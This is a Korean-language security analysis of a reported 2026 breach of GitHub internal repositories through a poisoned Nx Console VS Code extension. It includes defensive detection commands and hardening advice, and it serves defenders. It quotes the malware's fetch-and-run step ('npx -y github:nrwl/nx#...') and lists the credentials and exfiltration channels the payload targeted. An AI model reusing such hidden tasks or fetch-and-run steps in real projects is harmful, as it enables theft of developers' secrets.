핵심 요약
GitHub가 내부 저장소 무단 접근 사건을 공식 확인했다. GitHub 공식 블로그 기준으로 회사는 2026년 5월 18일 월요일, 직원 기기 한 대가 서드파티 VS Code 확장 프로그램을 통해 침해된 정황을 탐지하고 차단했다. 이후 악성 확장 버전을 제거하고, 해당 엔드포인트를 격리하고, 주요 비밀값을 5월 18일부터 19일까지 우선순위에 따라 회전했다고 밝혔다.
공식 확인의 핵심은 두 문장이다. 현재 평가상 활동 범위는 GitHub 내부 저장소의 반출에 한정돼 있고, 공격자가 주장한 약 3,800개 저장소 규모는 지금까지의 조사와 방향상 일치한다. 다만 GitHub는 고객의 엔터프라이즈, 조직, 저장소 등 내부 저장소 바깥의 고객 정보가 영향을 받았다는 증거는 없다고 설명했다. 동시에 일부 내부 저장소에는 지원 대화 발췌처럼 고객 관련 정보가 들어 있을 수 있어, 추가 영향이 발견되면 정식 사고 대응 채널로 알리겠다고 덧붙였다.
보도 타임라인으로 보면 The Register 최초 보도는 2026년 5월 20일 20:27 KST 기준이다. GitHub 공식 블로그는 2026년 5월 21일 06:07 KST에 올라왔고, 이후 11:12 KST 무렵 수정됐다. 악성 확장 쪽의 직접 근거는 GitHub가 링크한 Nx Console 보안 advisory다. 이 advisory에 따르면 문제 버전은 nrwl.angular-console 18.95.0이며, Visual Studio Marketplace에는 2026년 5월 18일 21:30부터 21:48 KST까지 약 18분 노출됐다.
출처: GitHub Blog, “Investigating unauthorized access to GitHub-owned repositories”
이번 사건은 “GitHub도 뚫렸다”로 소비하기보다, 개발자 PC와 IDE 확장이 이제 기업의 가장 민감한 권한 경계라는 신호로 읽어야 한다. 특히 Claude Code, GitHub Copilot, Cursor, Antigravity 같은 AI 코딩 도구를 쓰는 팀이라면, IDE 확장 하나가 토큰, 로컬 설정, MCP 서버, 클라우드 자격증명, 사내 repo 접근권을 한꺼번에 만질 수 있다는 점을 보안 모델에 넣어야 한다.
무슨 일이 있었나
사건은 두 층으로 나뉜다.
첫째는 GitHub 내부 저장소 무단 접근이다. GitHub는 직원 기기 한 대가 악성 VS Code 확장으로 침해됐고, 이 경로를 통해 GitHub 소유 내부 저장소가 반출됐다고 밝혔다. 공격자가 지하 포럼에서 주장한 약 3,800개 저장소 규모는 GitHub 조사와 방향상 일치한다. The Register와 VentureBeat는 TeamPCP가 GitHub 내부 소스코드와 조직 데이터를 판매글로 올렸고, 가격을 5만 달러 이상으로 제시했다는 보도를 냈다. 이 판매글 자체는 공개 정상 웹 원문으로 검증하지 않았기 때문에, 본문에서는 GitHub 공식 확인과 보도 교차검증 범위 안에서만 다룬다.
둘째는 Nx Console 확장 공급망 침해다. GitHub 공식 글이 “poisoned VS Code extension” 문구에 연결한 보안 advisory는 Nx Console의 GHSA-c9j4-9m59-847w다. 최신 advisory 기준 문제 버전은 18.95.0이고, 패치 버전은 18.100.0이다. Visual Studio Marketplace에는 약 18분, OpenVSX에는 약 36분 노출됐다. Microsoft와 OpenVSX의 다운로드 카운터는 각각 28건과 41건으로 낮게 잡혔지만, Nx 측 자체 analytics는 이틀 뒤 약 6,000건의 VS Code extension activation을 기록했다고 적었다.
이 차이가 중요하다. 설치 수나 다운로드 수만 보고 안심하면 안 된다. VS Code 확장은 auto-update가 켜진 환경에서 사용자가 따로 “설치”를 누르지 않아도 새 버전이 내려올 수 있다. 특히 이미 널리 설치된 확장이 잠깐 오염되면, 공격자는 짧은 창으로도 개발자 워크스테이션 안쪽에 들어갈 수 있다.
공격 경로가 위험한 이유
VS Code 확장은 단순 플러그인이 아니다. Microsoft의 공식 문서는 확장 host가 VS Code 자체와 같은 권한을 가진다고 설명한다. 즉 확장은 로컬 파일을 읽고 쓸 수 있고, 네트워크 요청을 보낼 수 있고, 외부 프로세스를 실행할 수 있고, workspace 설정을 바꿀 수 있다. 이 권한 모델은 정상적인 개발 도구에는 편리하지만, 악성 확장에는 거의 개발자 계정 전체를 훑을 수 있는 출발점이 된다.
Nx Console advisory와 StepSecurity 분석을 합치면 공격 흐름은 더 선명해진다. 공격자는 이전 공급망 침해에서 훔친 contributor GitHub token을 이용해 nrwl/nx 저장소에 orphan commit을 심었다. 그 뒤 훔친 VSCE_PAT로 Nx Console 18.95.0을 Visual Studio Marketplace에 게시했다. 사용자가 workspace를 열면 확장 activation 단계에서 숨겨진 VS Code Task가 실행되고, npx -y github:nrwl/nx#558b09d7 형태로 payload를 받아 실행했다.
출처: StepSecurity, “Nx Console VS Code Extension Compromised”
StepSecurity 분석에 따르면 payload는 GitHub token, npm token, AWS, HashiCorp Vault, Kubernetes, 1Password CLI, SSH key, .env, Docker와 GCP credential, 그리고 Claude Code 설정 파일까지 수집 대상으로 삼았다. 반출 채널도 하나가 아니었다. HTTPS POST, GitHub API, DNS tunneling이 함께 쓰였다. 단순히 “GitHub token 하나 털렸다”가 아니라, 개발자 PC에서 도달 가능한 거의 모든 비밀값을 회수하려는 구조였다.
여기서 AI 코딩 도구가 등장한다. Claude Code 설정 파일을 노렸다는 것은 공격자가 AI assistant를 별도 계층이 아니라 개발자 권한 묶음의 일부로 보고 있다는 뜻이다. MCP 서버 설정, 에이전트용 API key, 사내 도구 연결 정보가 IDE 주변에 모이면, 악성 확장은 그 정보를 일반 cloud key와 같은 방식으로 훑을 수 있다. AI 에이전트가 코드를 고치는 능력이 커질수록, 그 에이전트에 붙은 토큰과 연결도 공격자에게 더 값진 표적이 된다.
“고객 repo는 안전하다”를 어떻게 읽어야 하나
GitHub의 공식 표현은 조심스럽다. 현재까지는 GitHub 내부 저장소만 반출됐고, 고객이 소유한 기업·조직·저장소가 영향받았다는 증거는 없다는 것이다. 이 문장은 중요하다. 이번 사고를 “모든 GitHub private repo가 유출됐다”로 쓰면 틀린 해석이다.
하지만 내부 저장소 유출이 사소하다는 뜻도 아니다. 대형 플랫폼의 내부 repo에는 제품 소스코드만 있는 게 아니다. 배포 스크립트, 보안 자동화, 내부 API 스키마, 운영 runbook, staging 구성, 접근 제어 코드, 테스트 fixture, 고객 지원 대화 발췌가 섞일 수 있다. GitHub도 일부 내부 repo에는 고객 관련 정보가 포함될 수 있다고 인정했다. 공격자 입장에서는 이런 정보가 바로 다음 공격의 지도다.
그래서 이번 사건의 핵심 위험은 “즉시 고객 코드가 유출됐는가”보다 “공격자가 GitHub 내부 운영 구조를 얼마나 학습했는가”에 있다. 내부 repo는 그 자체로 인프라 intelligence다. 비밀값이 이미 회전됐더라도, 코드 구조와 운영 습관은 더 오래 남는다.
AI 코딩 에이전트 팀이 특히 봐야 할 지점
이 사건은 AI 코딩 에이전트 보안과 직접 연결된다. 이유는 세 가지다.
첫째, 에이전트는 IDE 안에서 동작한다. Copilot, Claude Code, Cursor, Antigravity류 도구는 editor, terminal, repo, browser, issue tracker, CI를 연결해 일을 한다. 편의성을 위해 권한을 한곳에 모으는데, 악성 확장은 바로 그 접점을 노린다.
둘째, 에이전트 환경에는 새 종류의 비밀값이 생긴다. 과거에는 GitHub token, npm token, cloud key가 핵심이었다. 이제는 Anthropic, OpenAI, Google API key, MCP server credential, tool approval 설정, agent memory 파일, 사내 자동화 endpoint가 추가된다. StepSecurity가 Claude Code 설정을 수집 대상으로 적은 것은 우연으로 보기 어렵다.
셋째, Workspace Trust만으로는 충분하지 않다. VS Code 공식 문서는 Workspace Trust가 자동 코드 실행을 줄이는 장치라고 설명하지만, 악성 확장이 Restricted Mode를 무시하고 코드를 실행하는 것까지 막지는 못한다고 경고한다. 또한 VS Code의 Agents window는 workspace trust 상태를 공유하고, 신뢰되지 않은 workspace에서는 agent 실행을 막는다. 이 말은 반대로, 한 번 신뢰된 workspace와 확장 조합은 에이전트 실행 권한까지 같이 열릴 수 있다는 뜻이다.
개발 조직의 보안 기준은 “어떤 npm package를 쓰는가”에서 “어떤 IDE 확장을 허용하고, 어떤 에이전트가 어떤 토큰을 볼 수 있는가”로 확장돼야 한다.
지금 바로 점검할 것
먼저 Nx Console을 쓰는 개발자는 버전을 확인해야 한다.
code --list-extensions --show-versions | grep 'nrwl.angular-console'
출력에 nrwl.angular-console@18.95.0이 보이면 해당 기기는 침해 가능성이 있다. 공식 advisory 기준 패치 버전은 18.100.0 이상이다. 문제 버전을 실행했거나 실행 여부가 불확실하면 단순 업데이트로 끝내지 말고, 네트워크를 끊고 포렌식 이미징 여부를 판단한 뒤 credential rotation을 시작하는 편이 안전하다.
다음 흔적도 확인한다.
test -f ~/.local/share/kitty/cat.py && echo "possible compromise"
test -f ~/Library/LaunchAgents/com.user.kitty-monitor.plist && echo "possible compromise"
test -f /var/tmp/.gh_update_state && echo "possible compromise"
ls /tmp | grep '^kitty-'
pgrep -af 'cat.py|kitty-'
이 흔적이 없다고 안전하다고 단정하면 안 된다. payload는 credential 수집과 반출을 먼저 수행하고, 일부 환경에서는 persistence 단계가 실패할 수 있다. 공식 advisory도 “도달 가능한 모든 credential” 회전을 권한다.
회전 대상은 GitHub PAT와 SSH key에 그치지 않는다. affected machine에서 읽을 수 있었던 npm token, cloud credential, Vault token, Kubernetes kubeconfig, 1Password CLI session, Actions secrets, .env 파일, Docker/GCP 설정, AI assistant API key, MCP server credential까지 포함해야 한다.
조직 단위로는 더 큰 조치가 필요하다.
- IDE 확장 allowlist를 운영한다. 설치 수와 별점이 아니라 publisher, release pipeline, 보안 advisory 대응 속도를 기준으로 본다.
- privileged developer machine에서는 extension auto-update를 그대로 두지 않는다. 보안 패치를 놓치지 않는 범위 안에서 staging 검증 후 배포하는 채널을 만든다.
- AI 코딩 에이전트용 credential은 일반 개발자 shell credential과 분리한다. 에이전트가 필요한 repo, issue tracker, cloud scope만 보게 한다.
- long-lived PAT를 줄이고, 가능하면 짧은 수명 token, OIDC, device posture 조건을 붙인다.
- GitHub 조직 audit log에서 예기치 않은 token 생성, OAuth app 승인, SSH key 추가, repo transfer, Actions workflow 변경을 본다.
.vscode/extensions.json같은 추천 확장 파일은 편의 기능이 아니라 공급망 정책 파일로 관리한다. “추천”이 사실상 조직 표준 설치 목록이 되는 경우가 많다.
VS Code 사용자 개인에게는 설정도 의미가 있다. 모든 팀에 맞는 답은 아니지만, 고권한 개발 환경에서는 확장 자동 업데이트를 잠시 끄고 검증된 배포 흐름으로 바꾸는 방안을 검토할 수 있다.
{
"extensions.autoUpdate": false,
"security.workspace.trust.enabled": true
}
단, 자동 업데이트를 끄면 취약한 구버전을 오래 들고 가는 문제가 생긴다. 따라서 이 설정은 개인 임기응변이 아니라 MDM, 내부 확장 저장소, 정기 업데이트 SLA와 같이 운영돼야 한다.
이번 사건의 더 큰 의미
공급망 공격은 예전에도 있었다. npm package가 오염되고, PyPI package가 오염되고, GitHub Actions workflow가 오염되는 일은 이미 익숙하다. 이번 사건이 다른 이유는 공격 지점이 IDE 확장이라는 점, 그리고 피해자가 GitHub 자신이라는 점이다.
개발자 입장에서 IDE는 가장 신뢰하는 작업 공간이다. 터미널이 열려 있고, repo가 checkout돼 있고, cloud CLI가 로그인돼 있고, password manager CLI가 붙어 있고, AI assistant가 같은 workspace를 읽는다. 공격자가 브라우저 피싱 메일을 보내는 대신 IDE 확장을 오염시키면, 방어선을 몇 겹 건너뛴 채 개발자의 손 안쪽으로 들어온다.
AI 코딩 에이전트는 이 구조를 더 강하게 만든다. 에이전트에게 “수정하고 테스트까지 돌려줘”라고 말하려면 repo, terminal, dependency manager, test runner, issue tracker 권한을 줘야 한다. 이 권한을 잘게 나누지 않으면, 에이전트가 편해지는 만큼 악성 확장의 수확량도 커진다.
그래서 이번 사건의 실무적 결론은 단순하다. IDE 확장은 이제 브라우저 확장보다 더 민감한 소프트웨어다. 그리고 AI 코딩 에이전트 설정은 .env 파일만큼 민감한 보안 자산이다.
관전 포인트
첫째, GitHub의 최종 incident report다. GitHub는 조사가 끝나면 fuller report를 내겠다고 했다. 여기서 실제 접근 기간, 영향을 받은 내부 repo의 종류, 고객 정보 포함 여부, secret rotation 범위, 확장 이름과 경로가 더 구체화될 것이다.
둘째, Microsoft와 Visual Studio Marketplace의 대응이다. 공식 문서상 Marketplace는 malware scanning, dynamic detection, verified publisher, block list, signature verification, secret scanning을 운영한다. 그런데도 18분짜리 악성 버전이 통과했다. 앞으로 publish delay, high-risk extension manual review, verified publisher 재검증 같은 제도 변화가 나올지 봐야 한다.
셋째, AI coding agent vendor의 보안 모델 변화다. Claude Code, Copilot, Cursor, Antigravity류 도구는 더 많은 자동 실행 권한을 요구한다. 이번 사건 이후에는 agent credential 분리, MCP server allowlist, workspace trust 강제, headless 실행 제한, extension inventory 연동 같은 기능이 경쟁력이 될 가능성이 크다.
넷째, 기업 보안팀의 관심 이동이다. 지금까지 많은 팀이 dependency scanning과 secret scanning에 집중했다. 앞으로는 developer endpoint, IDE extension inventory, AI assistant config, local credential broker까지 포함한 개발 환경 보안이 DevSecOps의 중심으로 올라올 것이다.
GitHub 내부 repo 3,800개라는 숫자는 크다. 하지만 더 중요한 숫자는 18분이다. 널리 쓰이는 개발 도구의 업데이트 경로가 오염되면, 18분이면 충분히 기업의 가장 안쪽 권한으로 들어갈 수 있다. AI 코딩 에이전트 시대의 보안은 모델 출력 검수만으로 끝나지 않는다. 그 모델과 확장이 실행되는 IDE 자체를 신뢰할 수 있는지부터 다시 물어야 한다.
출처 및 참고 자료
- GitHub Blog, “Investigating unauthorized access to GitHub-owned repositories” — https://github.blog/security/investigating-unauthorized-access-to-githubs-internal-repositories/
- GitHub 공식 X 최초 공지 — https://x.com/github/status/2056884788179726685
- GitHub 공식 X 후속 공지 — https://x.com/github/status/2056949169701720157
- Nx Console GitHub Security Advisory, GHSA-c9j4-9m59-847w — https://github.com/nrwl/nx-console/security/advisories/GHSA-c9j4-9m59-847w
- StepSecurity, “Nx Console VS Code Extension Compromised” — https://www.stepsecurity.io/blog/nx-console-vs-code-extension-compromised
- Microsoft VS Code Docs, “Extension runtime security” — https://code.visualstudio.com/docs/configure/extensions/extension-runtime-security
- Microsoft VS Code Docs, “Workspace Trust” — https://code.visualstudio.com/docs/editing/workspaces/workspace-trust
- The Register, “GitHub says internal repos exfiltrated after poisoned VS Code extension attack” — https://www.theregister.com/devops/2026/05/20/github-says-internal-repos-exfiltrated-after-poisoned-vs-code-extension-attack/5243206
- VentureBeat, “GitHub confirms 3,800 internal repos stolen through poisoned VS Code extension as supply chain worm hits Microsoft’s Python SDK” — https://venturebeat.com/security/github-confirms-3800-repos-stolen-poisoned-vs-code-extension-supply-chain-worm-microsoft-python-sdk
- TanStack Blog, “Postmortem: TanStack npm supply-chain compromise” — https://tanstack.com/blog/npm-supply-chain-compromise-postmortem
- The Hacker News, “GitHub Internal Repositories Breached via Malicious Nx Console VS Code Extension” — https://thehackernews.com/2026/05/github-internal-repositories-breached.html